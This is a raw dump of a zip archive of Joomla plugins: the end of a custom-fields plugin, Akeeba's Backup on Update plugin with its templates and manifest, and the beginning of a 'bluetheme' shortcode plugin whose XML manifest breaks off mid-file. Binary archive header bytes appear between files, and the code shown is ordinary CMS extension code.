	public function onContentAfterDisplay($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 3);
	}

	/**
	 * Performs the display event.
	 *
	 * @param   string    $context      The context
	 * @param   stdClass  $item         The item
	 * @param   Registry  $params       The params
	 * @param   integer   $displayType  The type
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	private function display($context, $item, $params, $displayType)
	{
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return '';
		}

		// If we have a category, set the catid field to fetch only the fields which belong to it
		if ($parts[1] === 'categories' && !isset($item->catid))
		{
			$item->catid = $item->id;
		}

		$context = $parts[0] . '.' . $parts[1];

		// Convert tags
		if ($context == 'com_tags.tag' && !empty($item->type_alias))
		{
			// Set the context
			$context = $item->type_alias;

			$item = $this->prepareTagItem($item);
		}

		if (is_string($params) || !$params)
		{
			$params = new Registry($params);
		}

		$fields = FieldsHelper::getFields($context, $item, $displayType);

		if ($fields)
		{
			$app = Factory::getApplication();

			if ($app->isClient('site') && Multilanguage::isEnabled() && isset($item->language) && $item->language === '*')
			{
				$lang = $app->getLanguage()->getTag();

				foreach ($fields as $key => $field)
				{
					if ($field->language === '*' || $field->language == $lang)
					{
						continue;
					}

					unset($fields[$key]);
				}
			}
		}

		if ($fields)
		{
			foreach ($fields as $key => $field)
			{
				$fieldDisplayType = $field->params->get('display', '2');

				if ($fieldDisplayType == $displayType)
				{
					continue;
				}

				unset($fields[$key]);
			}
		}

		if ($fields)
		{
			return FieldsHelper::render(
				$context,
				'fields.render',
				array(
					'item'            => $item,
					'context'         => $context,
					'fields'          => $fields,
				)
			);
		}

		return '';
	}

	/**
	 * Performs the display event.
	 *
	 * @param   string    $context  The context
	 * @param   stdClass  $item     The item
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onContentPrepare($context, $item)
	{
		// Check property exists (avoid costly & useless recreation), if need to recreate them, just unset the property!
		if (isset($item->jcfields))
		{
			return;
		}

		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return;
		}

		$context = $parts[0] . '.' . $parts[1];

		// Convert tags
		if ($context == 'com_tags.tag' && !empty($item->type_alias))
		{
			// Set the context
			$context = $item->type_alias;

			$item = $this->prepareTagItem($item);
		}

		// Get item's fields, also preparing their value property for manual display
		// (calling plugins events and loading layouts to get their HTML display)
		$fields = FieldsHelper::getFields($context, $item, true);

		// Adding the fields to the object
		$item->jcfields = array();

		foreach ($fields as $key => $field)
		{
			$item->jcfields[$field->id] = $field;
		}
	}

	/**
	 * The finder event.
	 *
	 * @param   stdClass  $item  The item
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onPrepareFinderContent($item)
	{
		$section = strtolower($item->layout);
		$tax     = $item->getTaxonomy('Type');

		if ($tax)
		{
			foreach ($tax as $context => $value)
			{
				// This is only a guess, needs to be improved
				$component = strtolower($context);

				if (strpos($context, 'com_') !== 0)
				{
					$component = 'com_' . $component;
				}

				// Transform com_article to com_content
				if ($component === 'com_article')
				{
					$component = 'com_content';
				}

				// Create a dummy object with the required fields
				$tmp     = new stdClass;
				$tmp->id = $item->__get('id');

				if ($item->__get('catid'))
				{
					$tmp->catid = $item->__get('catid');
				}

				// Getting the fields for the constructed context
				$fields = FieldsHelper::getFields($component . '.' . $section, $tmp, true);

				if (is_array($fields))
				{
					foreach ($fields as $field)
					{
						// Adding the instructions how to handle the text
						$item->addInstruction(Indexer::TEXT_CONTEXT, $field->name);

						// Adding the field value as a field
						$item->{$field->name} = $field->value;
					}
				}
			}
		}

		return true;
	}

	/**
	 * Prepares a tag item to be ready for com_fields.
	 *
	 * @param   stdClass  $item  The item
	 *
	 * @return  object
	 *
	 * @since   3.8.4
	 */
	private function prepareTagItem($item)
	{
		// Map core fields
		$item->id       = $item->content_item_id;
		$item->language = $item->core_language;

		// Also handle the catid
		if (!empty($item->core_catid))
		{
			$item->catid = $item->core_catid;
		}

		return $item;
	}
}
PK!|��Nbackuponupdate/web.confignu&1i�<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK!��_��backuponupdate/script.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') or die;

// Load FOF if not already loaded
if (!defined('FOF30_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof30/include.php'))
{
	throw new RuntimeException('This extension requires FOF 3.0.');
}

class plgSystemBackuponupdateInstallerScript extends FOF30\Utils\InstallScript\Plugin
{
}
PK!ř�ZZ!backuponupdate/backuponupdate.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!--
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="2.5.0" type="plugin" group="system" method="upgrade">
	<name>PLG_SYSTEM_BACKUPONUPDATE</name>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>http://www.akeebabackup.com</authorUrl>
	<copyright>Copyright (c)2006-2019 Nicholas K. Dionysopoulos</copyright>
	<license>GNU General Public License version 3, or later</license>
	<creationDate>2019-03-18</creationDate>
	<version>6.4.2.1</version>
	<description>PLG_SYSTEM_BACKUPONUPDATE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="backuponupdate">backuponupdate.php</filename>
		<filename>.htaccess</filename>
		<filename>web.config</filename>
		<folder>tmpl</folder>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_backuponupdate.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_backuponupdate.sys.ini</language>
	</languages>
    <config addfieldpath="/administrator/components/com_akeeba/fields">
        <fields name="params">
            <fieldset name="basic">
                <field name="profileid" type="backupprofiles" default="1"
                       label="PLG_SYSTEM_BACKUPONUPDATE_PROFILE_LABEL"
                       description="PLG_SYSTEM_BACKUPONUPDATE_PROFILE_DESC"
                />
            </fieldset>
        </fields>
    </config>

	<scriptfile>script.php</scriptfile>
</extension>
PK!&�G���#backuponupdate/tmpl/default.css.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') or die();
/**
 * @package    AkeebaBackup
 * @subpackage backuponupdate
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license    GNU General Public License version 3, or later
 *
 * @since      5.4.1
 *
 * This file contains the CSS for rendering the status (footer) icon for the Backup on Update plugin. The icon is only
 * rendered in the administrator backend of the site.
 *
 * You can override this file WITHOUT overwriting it. Copy this file into:
 *
 * administrator/templates/YOUR_TEMPLATE/html/plg_system_backuponupdate/default.css.php
 *
 * where YOUR_TEMPLATE is the folder of the administrator template you are using. Modify that copy. It will be loaded
 * instead of the file in plugins/system/backuponupdate.
 */
?>
.icon-akeeba-backup-on-update {
	background-image: url("../media/com_akeeba/icons/akeeba-16-white.png");
	width: 16px;
	height: 16px;
}

#akeebaBackupOnUpdateStatusContainer a span.badge {
	float: left;
}

#akeebaBackupOnUpdateStatusContainer a span.icon-akeeba-backup-on-update {
	margin: 0 -4px -3px;
}
PK!�KF		$backuponupdate/tmpl/default.html.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') or die();
/**
 * @package    AkeebaBackup
 * @subpackage backuponupdate
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license    GNU General Public License version 3, or later
 *
 * @since      5.4.1
 *
 * This file contains the CSS for rendering the status (footer) icon for the Backup on Update plugin. The icon is only
 * rendered in the administrator backend of the site.
 *
 * You can override this file WITHOUT overwriting it. Copy this file into:
 *
 * administrator/templates/YOUR_TEMPLATE/html/plg_system_backuponupdate/default.html.php
 *
 * where YOUR_TEMPLATE is the folder of the administrator template you are using. Modify that copy. It will be loaded
 * instead of the file in plugins/system/backuponupdate.
 */

$token = urlencode(JFactory::getSession()->getToken());
$js = <<< JS
; // Work around broken third party Javascript

function akeeba_backup_on_update_toggle()
{
    window.jQuery.get('index.php?_akeeba_backup_on_update_toggle=$token', function() {
        location.reload(true);
    });
}


JS;

$document = JFactory::getApplication()->getDocument();

if (empty($document))
{
	$document = JFactory::getDocument();
}

if (empty($document))
{
	return;
}

$document->addScriptDeclaration($js);

?>
<div class="btn-group viewsite pull-right" id="akeebaBackupOnUpdateStatusContainer">
    <a href="javascript:akeeba_backup_on_update_toggle()" class="hasPopover"
       data-title="<?php echo JText::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_POPOVER_TITLE') ?>"
       data-content="<p><?php echo JText::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_POPOVER_CONTENT_' . ($params['active'] ? 'ACTIVE' : 'INACTIVE')) ?></p><p class='small'><?php echo JText::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_POPOVER_CONTENT_COMMON') ?></p>"
       data-placement="top">
        <span class="badge badge-<?php echo $params['active'] ? 'success' : 'none' ?>">
            <span class="icon-akeeba-backup-on-update"></span>
        </span>
        <?php echo JText::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_' . ($params['active'] ? 'ACTIVE' : 'INACTIVE')) ?>
    </a>
    <span class="btn-group separator"></span>
</div>
PK!�J�$backuponupdate/tmpl/joomla4.html.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') or die();
/**
 * @package    AkeebaBackup
 * @subpackage backuponupdate
 * @copyright  Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license    GNU General Public License version 3, or later
 *
 * @since      6.4.1
 *
 * This file contains the CSS for rendering the status (footer) icon for the Backup on Update plugin. The icon is only
 * rendered in the administrator backend of the site.
 *
 * You can override this file WITHOUT overwriting it. Copy this file into:
 *
 * administrator/templates/YOUR_TEMPLATE/html/plg_system_backuponupdate/joomla4.html.php
 *
 * where YOUR_TEMPLATE is the folder of the administrator template you are using. Modify that copy. It will be loaded
 * instead of the file in plugins/system/backuponupdate.
 */

$document = JFactory::getDocument();
$document->addScript('../media/com_akeeba/js/System.min.js');

$token = urlencode(JFactory::getSession()->getToken());
$js    = <<< JS
; // Work around broken third party Javascript

function akeeba_backup_on_update_toggle()
{
    window.jQuery.get('index.php?_akeeba_backup_on_update_toggle=$token', function() {
        location.reload(true);
    });
}

akeeba.System.documentReady(function() {
    var newListItemArray = document.getElementById('akeebabackup-bou-container').querySelectorAll('ul > li');
    var headerLinks = document.getElementById('header').querySelectorAll('div.header-items ul.nav');
    var newItem = newListItemArray[0];
    var headerLink = headerLinks[0];
    
    if (headerLink.childNodes.length < 2)
	{
		headerLink.appendChild(newItem);
	}
    else
	{
		headerLink.insertBefore(newItem, headerLink.childNodes[headerLink.childNodes.length - 2]);		
	}
    
    var oldChild = document.getElementById('akeebabackup-bou-container');
    oldChild.parentElement.removeChild(oldChild);
})

JS;

$document = JFactory::getApplication()->getDocument();

if (empty($document))
{
	$document = JFactory::getDocument();
}

if (empty($document))
{
	return;
}

$document->addScriptDeclaration($js);

?>
<div id="akeebabackup-bou-container">
	<ul>
		<li class="nav-item">
			<a class="nav-link dropdown-toggle" href="javascript:akeeba_backup_on_update_toggle()"
			   title="<?php echo JText::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_POPOVER_CONTENT_' . ($params['active'] ? 'ACTIVE' : 'INACTIVE')) ?>">
				<span class="fa fa-akbou <?php echo $params['active'] ? 'fa-akbou-active' : 'fa-akbou-inactive' ?>"
					  aria-hidden="true"></span>
				<span class="sr-only">
					<?php echo JText::_('PLG_SYSTEM_BACKUPONUPDATE_LBL_' . ($params['active'] ? 'ACTIVE' : 'INACTIVE')) ?>
				</span>
			</a>
		</li>
	</ul>
</div>
PK!�a�ee#backuponupdate/tmpl/joomla4.css.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') or die();
/**
 * @package    AkeebaBackup
 * @subpackage backuponupdate
 * @copyright  Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license    GNU General Public License version 3, or later
 *
 * @since      6.4.1
 *
 * This file contains the CSS for rendering the status (footer) icon for the Backup on Update plugin. The icon is only
 * rendered in the administrator backend of the site.
 *
 * You can override this file WITHOUT overwriting it. Copy this file into:
 *
 * administrator/templates/YOUR_TEMPLATE/html/plg_system_backuponupdate/joomla4.css.php
 *
 * where YOUR_TEMPLATE is the folder of the administrator template you are using. Modify that copy. It will be loaded
 * instead of the file in plugins/system/backuponupdate.
 */
?>

@font-face
{
	font-family: "Akeeba Products for Joomla Status";
	font-style: normal;
	font-weight: normal;
	src: url("../media/com_akeeba/fonts/akeeba/Akeeba-Products.woff") format("woff");
}

span.fa-akbou:before
{
	display: inline-block;
	font-family: 'Akeeba Products for Joomla Status';
	font-style: normal;
	font-weight: normal;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	position: relative;
	-moz-osx-font-smoothing: grayscale;
	color: var(--primary-dark);
	background: transparent;
}

span[class*=fa-akbou]:before
{
	content: 'B';
}

span.fa-akbou-active:before
{
	color: var(--primary-dark);
}

span.fa-akbou-inactive:before
{
	color: var(--warning);
}
PK!n���!backuponupdate/backuponupdate.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */
defined('_JEXEC') or die();

if (!version_compare(PHP_VERSION, '5.6.0', '>='))
{
	return;
}

// Make sure Akeeba Backup is installed
if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
{
	return;
}

// Load FOF
if (!defined('FOF30_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof30/include.php'))
{
	return;
}

JLoader::import('joomla.filesystem.file');
$db = JFactory::getDbo();

// Is Akeeba Backup enabled?
$query = $db->getQuery(true)
            ->select($db->qn('enabled'))
            ->from($db->qn('#__extensions'))
            ->where($db->qn('element') . ' = ' . $db->q('com_akeeba'))
            ->where($db->qn('type') . ' = ' . $db->q('component'));
$db->setQuery($query);
$enabled = $db->loadResult();

if (!$enabled)
{
	return;
}

JLoader::import('joomla.application.plugin');

class plgSystemBackuponupdate extends JPlugin
{
	/**
	 * Constructor
	 *
	 * @param       object $subject The object to observe
	 * @param       array  $config  An array that holds the plugin configuration
	 *
	 * @since       2.5
	 */
	public function __construct(& $subject, $config)
	{
		/**
		 * I know that this piece of code cannot possibly be executed since I have already returned BEFORE declaring
		 * the class when eAccelerator is detected. However, eAccelerator is a GINORMOUS, STINKY PILE OF BULL CRAP. The
		 * stupid thing will return above BUT it will also declare the class EVEN THOUGH according to how PHP works
		 * this part of the code should be unreachable o_O Therefore I have to define this constant and exit the
		 * constructor when we have already determined that this class MUST NOT be defined. Because screw you
		 * eAccelerator, that's why.
		 */
		if (defined('AKEEBA_EACCELERATOR_IS_SO_BORKED_IT_DOES_NOT_EVEN_RETURN'))
		{
			return;
		}

		parent::__construct($subject, $config);
	}

	public function onAfterInitialise()
	{
		// Make sure this is the back-end
		$app = JFactory::getApplication();

		if (!in_array($app->getName(), array('administrator', 'admin')))
		{
			return;
		}

		// Handle the flag toggle through AJAX
		$ji        = new JInput();
		$toggleParam = $ji->getCmd('_akeeba_backup_on_update_toggle');

		if ($toggleParam && ($toggleParam == JFactory::getSession()->getToken()))
		{
			$this->toggleBoUFlag();

			return;
		}

		// Make sure we are active
		if ($this->getBoUFlag() != 1)
		{
			return;
		}

		// Get the input variables
		$component = $ji->getCmd('option', '');
		$task      = $ji->getCmd('task', '');
		$backedup  = $ji->getInt('is_backed_up', 0);

		// Perform a redirection on Joomla! Update download or install task, unless we have already backed up the site
		if (($component == 'com_joomlaupdate') && ($task == 'update.install') && !$backedup)
		{
			// Get the backup profile ID
			$profileId = (int) $this->params->get('profileid', 1);

			if ($profileId <= 0)
			{
				$profileId = 1;
			}

			$jtoken = JFactory::getSession()->getFormToken();

			// Get the return URL
			$return_url = JUri::base() . 'index.php?option=com_joomlaupdate&task=update.install&is_backed_up=1&'.$jtoken.'=1';

			// Get the redirect URL
			$redirect_url = JUri::base() . 'index.php?option=com_akeeba&view=Backup&autostart=1&returnurl=' . urlencode($return_url) . '&profileid=' . $profileId . "&$jtoken=1";

			// Perform the redirection
			$app = JFactory::getApplication();
			$app->redirect($redirect_url);
		}
	}

	/**
	 * Renders the Backup on Update status icon in the Joomla! backend.
	 *
	 * We use a bit of fine trickery to accomplish that. The onAfterModuleList event is triggered after Joomla! has
	 * loaded a list of the modules to render on the page. We use that event to inject a fake module object of type
	 * mod_custom with the HTML we want to render in the 'status' position of the template.
	 *
	 * @param   array  $modules  The array of module objects passed to us by Joomla!
	 *
	 * @since   5.4.1
	 * @throws  Exception
	 */
	public function onAfterModuleList(&$modules)
	{
		$app = JFactory::getApplication();

		// Only work when format=html (since we try adding CSS and Javascript on the page which is only valid in HTML).
		if ($app->input->getCmd('format', 'html') != 'html')
		{
			return;
		}

		// Am I in the administrator application to begin with?
		if (version_compare(JVERSION, '3.7.0', 'lt'))
		{
			$isAdmin = $app->isAdmin();
		}
		else
		{
			$isAdmin = $app->isClient('administrator');
		}

		if (!$isAdmin)
		{
			return;
		}

		// Load the language
		$this->loadLanguage();

		JHtml::_('bootstrap.popover');

		try
		{
			/**
			 * Apparently you may have format=html with an application that returns no document...?! I can't see how it's
			 * possible lest a 3PD has screwed up. In any case, this happened in tickets 28218, 28223, 28224 and 28225. My
			 * workaround is to first check if the application can and does return a document. If not, try to get the document
			 * via JFactory (legacy method). If that fails too, skip the "Disable plugin" feature altogether.
			 */
			$document = null;

			if (method_exists($app, 'getDocument'))
			{
				$document = $app->getDocument();
			}

			if (is_null($document) || !method_exists($document, 'addStyleDeclaration'))
			{
				/**
				 * Don't remove the class_exists. Joomla! 3.8 will have JFactor as an alias to a namespaced class so I might
				 * need to load it with the class_exists trick. As for the method_exists, it's us trying to make sure future
				 * versions of Joomla! won't break anything.
				 */
				if (class_exists('JFactory', true) && method_exists('JFactory', 'getDocument'))
				{
					$document = JFactory::getDocument();
				}
			}

			/**
			 * Now, if the document is still unset (a 3PD seriously cocked up a JApplicationCms subclass) OR the document is
			 * quite obviously not JDocumentHtml (which means a 3PD should be tarred, feathered and stringed for cocking up an
			 * application AND a document subclass) we have to skip our "Disable plugin" feature since it, well, not work at
			 * all.
			 */
			if (is_null($document) || !method_exists($document, 'addStyleDeclaration'))
			{
				return;
			}

			$isJoomla4 = version_compare(JVERSION, '3.999999.999999', 'gt');
			$baseDocumentName = $isJoomla4 ? 'joomla4' : 'default';

			$document->addStyleDeclaration($this->loadTemplate($baseDocumentName . '.css'));

			$fakeModule = (object)[
				'id' => -1,
				'title' => 'Backup on Update',
				'module' => 'mod_custom',
				'position' => 'status',
				'content' => $this->loadTemplate($baseDocumentName . '.html', [
					'active' => $this->getBoUFlag()
				]),
				'showtitle' => 0,
				'params' => '{"prepare_content":"0","layout":"_:default","moduleclass_sfx":"","cache":"0","cache_time":"1","module_tag":"div","bootstrap_size":"0","header_tag":"h3","header_class":"","style":"0"}',
				'menuid' => 0,
			];
		}
		catch (Exception $e)
		{
			return;
		}


		$modules[] = $fakeModule;
	}

	/**
	 * Load a plugin layout file. These files can be overridden with standard Joomla! template overrides.
	 *
	 * @param   string  $layout  The layout file to load
	 * @param   array   $params  An array passed verbatim to the layout file as the `$params` variable
	 *
	 * @return  string  The rendered contents of the file
	 *
	 * @since   5.4.1
	 */
	private function loadTemplate($layout, array $params = [])
	{
		$file = JPluginHelper::getLayoutPath('system', 'backuponupdate', $layout);

		ob_start();

		require_once $file;

		$ret = ob_get_clean();

		return $ret;
	}

	private function getBoUFlag()
	{
		return JFactory::getSession()->get('active', 1, 'plg_system_backuponupdate');
	}

	private function toggleBoUFlag()
	{
		$status = 1 - $this->getBoUFlag();

		JFactory::getSession()->set('active', $status, 'plg_system_backuponupdate');
	}
}
PK!��C���bluetheme/bluetheme.phpnu&1i�<?php
defined('_JEXEC') or die('Restricted access');

// Import Joomla core library
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
jimport('joomla.plugin.plugin');

// Require common functions
require_once dirname(__FILE__) . "/assets/includes/common.php";
class plgSystemBluetheme extends JPlugin
{
	var $document = NULL;
	var $baseurl  = NULL;
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);
		if(!defined('STVersion')){
			$arr = explode('.',JVERSION);
			define('STVersion',$arr[0]);
		}
		config_shortcode($this->params);
		$this->document = JFactory::getDocument();
		$this->baseurl = str_replace("/administrator", "", JURI::base());
		define('STPLUGIN',$this->baseurl. "plugins/system/bluetheme/assets/");
	}
    
	private function allowUseTypo(){
		$app 	= JFactory::getApplication();
		$option = JRequest::getVar("option","");
		$format = JRequest::getVar("format","");
		if( $option == "com_content" && $format == "feed"){
			return false;
		}
		return true;
	}

	// Function on after render
	public function onAfterRender()
	{
		$runmode = $this->params->get('runmode', 0);
		$app 	 = JFactory::getApplication();
		// Only enable shortcodes in fontend & work with buffer of page
		if($app->isSite())
		{
			if($runmode == 1) {
				$page = JResponse::GetBody();
				$page = do_shortcode($page);
				JResponse::SetBody($page);
			}
		}
	}
	// Enable shortcodes in Articles content
	public function onContentPrepare($context, &$article, &$params, $page=0)
	{
		$runmode = $this->params->get('runmode', 0);
		if($runmode != 0) return;
		$app             = JFactory::getApplication();
		$option   = $app->input->getCmd('option', '');
		if($option == 'com_k2')
			$article->text = $article->text;
		else
			$article->text = do_shortcode($article->text);
		return true;
	}
	// Add media
	public function onBeforeRender()
	{
		$app = JFactory::getApplication();

		if($app->isSite())
		{	//$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/bootstrap.min.css");
			//$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/new-shortcodes.css");
		//	$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/main.css");
		//	$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/main-responsive.css");
			//$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/main-retina.css");

		//	$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/fonts/fonts.css");
			// $this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/shortcodes.css");
			// $this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/shortcodes-responsive.css");
			// $this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/icon.css");
			// $this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/animate.min.css");
			// $this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery.fancybox.pack.js");
			// $this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery.easing.1.3.js");
			// $this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery.jcarousel.min.js");
			// $this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery.isotope.min.js");
			// $this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/shortcodes.js");
			// $this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jflickrfeed.min.js");
			
			$effect = $this->params->get('lightbox-effect','none');
			$speed = $this->params->get('lightbox-speed',250);
			$title_position = $this->params->get('titleposition','inside');

			
		}else{
			if(JRequest::getVar('option')=='com_blue_pagebuilder' && JRequest::getVar('view')=='page' ){
				if(STVersion==2){
					if(JRequest::getVar('layout') == 'edit'){
						$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/style.design.2.5.css");
						$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/bootstrap.2.3.min.css");
						$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery.min.js");
						$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery-noconflict.js");
						$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/bootstrap.min.js");
						$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/plugin-design_1.js");
					}else{
						$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/style.design.2.5.css");
						$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/bootstrap.2.3.min.css");
						$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery.min.js");
						$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery-noconflict.js");
						//$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/bootstrap.min.js");
						//$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/plugin-design_1.js");
					}
				}else{
					if(JRequest::getVar('layout') == 'edit'){
						$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/plugin-design.js");
					}
				}
				$this->document->addScript('http://maps.googleapis.com/maps/api/js?sensor=false&amp;libraries=places');
				$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/st-box.css");
				$this->document->addStyleSheet($this->baseurl . "plugins/system/bluetheme/assets/css/icon-admin.css");
				$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery.fancybox.pack.js");
				$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery-ui.min.js");
				$this->document->addScript($this->baseurl . "plugins/system/bluetheme/assets/js/jquery.geocomplete.min.js");
				
			}
		}
	}
	public function onAfterRoute()
	{
		$app = JFactory::getApplication();
		if( $this->allowUseTypo() ){
			$doc 		= JFactory::getDocument();
			//JHTML::_('behavior.framework', true);
		}
		BluethemePlugin::includeShortcode();
	}

	public function loadTemplate ($template) {
		if (!is_file ($template)) return '';
		$buffer = ob_get_clean();
		ob_start();
		include ($template);
		$content = ob_get_clean();
		ob_start();
		echo $buffer;
		return $content;
	}
    
        function onContentPrepareForm($form, $data)
        {
            if ($form->getName()=='com_menus.item') //Add bluetheme menu params to the menu item
            {
                JHtml::_('behavior.framework');
                $doc = JFactory::getDocument();

                JForm::addFormPath(JPATH_PLUGINS.'/system/bluetheme/fields');
                $form->loadFile('params', false);

            }
        }
}PK!�3}�*
*
bluetheme/bluetheme.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system">
	
	<name>Plugin CMS BlueTheme</name>
	<author>cmsbluetheme.Com</author>
	<creationDate>Aug 2013</creationDate>
	<copyright>Copyright (C) 2013 http://www.cmsbluetheme.Com. All rights reserved.</copyright>
	<license>http://www.cmsbluetheme.com GNU/GPL</license>
	<authorEmail>contact.bluetheme@gmail.com</authorEmail>
	<authorUrl>www.cmsbluetheme.com</authorUrl>
	<version>3.0.0</version>
	<description>Shinetheme Plugin</description>
	
	<files>
		<filename plugin="bluetheme">bluetheme.php</filename>
		<filename>bluetheme.xml</filename>
		<filename>index.html</filename>
		<folder>fields</folder>
		<folder>assets</folder>
		<folder>tmpl</folder>
	</files>

	<config>
		<fields name="params">
			<fieldset name="basic">
				<field name="st-font" 
					type="list"
					label="Google Font"
					default="Roboto Slab" 
				>
					<option value="Roboto Slab">Roboto Slab</option>
					<option value="Miniver">Miniver</option>
					<option value="Mako">Mako</option>
					<option value="Droid Sans'">Droid Sans'</option>
					<option value="Lato">Lato</option>
					<option value="PT Sans">PT Sans</option>
					<option value="Ubuntu">Ubuntu</option>
					<option value="Lobster">Lobster</option>
					<option value="Droid Serif">Droid Serif</option>
					<option value="Allan">Allan</option>
					<option value="Cardo">Cardo</option>
					<option value="Chivo">Chivo</option>
					<option value="Courgette">Courgette</option>
					<option value="Dancing Script">Dancing Script</option>
					<option value="Lobster Two">Lobster Two</option>
					<option value="Merienda">Merienda</option>
					<option value="Oxygen">Oxygen</option>
					<option value="Vollkorn">Vollkorn</option>
				</field>
			</fieldset>
			<fieldset name="lightbox" label="Light Box">
				<field name="lightbox-effect"
					type="list"
					label="Effect"
					default="elastic"
				>
					<option value="elastic">elastic</option>
					<option value="fade">fade</option>
					<option value="none">none</option>
				</field>
				
				<field name="lightbox-speed"
					type="text"
					label="Speed"
					default="250"
				/>
				<field name="titleposition"
					type="list"
					label="Title Position"
					default="outside"
					>
					<option value="inside">inside</option>
					<option value="outside">outside</option>
				</field>
			</fieldset>
			<fieldset name="slider" label="Slider">
				<field name="slider-easing"
					type="list"
					label="Easing"
					default="linear">
					<option value="linear">linear</option>
					<option value="swing">swing</option>
					<option value="easeInQuad">easeInQuad</option>
					<option value="easeInCubic">easeInCubic</option>
					<option value="easeInOutCubic">easeInOutCubic</option>
					<option value="easeOutQuint">easeOutQuint</option>
					<option value="easeInOutExpo">easeInOutExpo</option>
					<option value="easeInOutBack">easeInOutBack</option>
					<option value="easeInBounce">easeInBounce</option>
					<option value="easeOutBounce">easeOutBounce</option>
					<option value="easeInOutBounce">easeInOutBounce</option>
					<option value="easeOutElastic">easeOutElastic</option>
				</field>
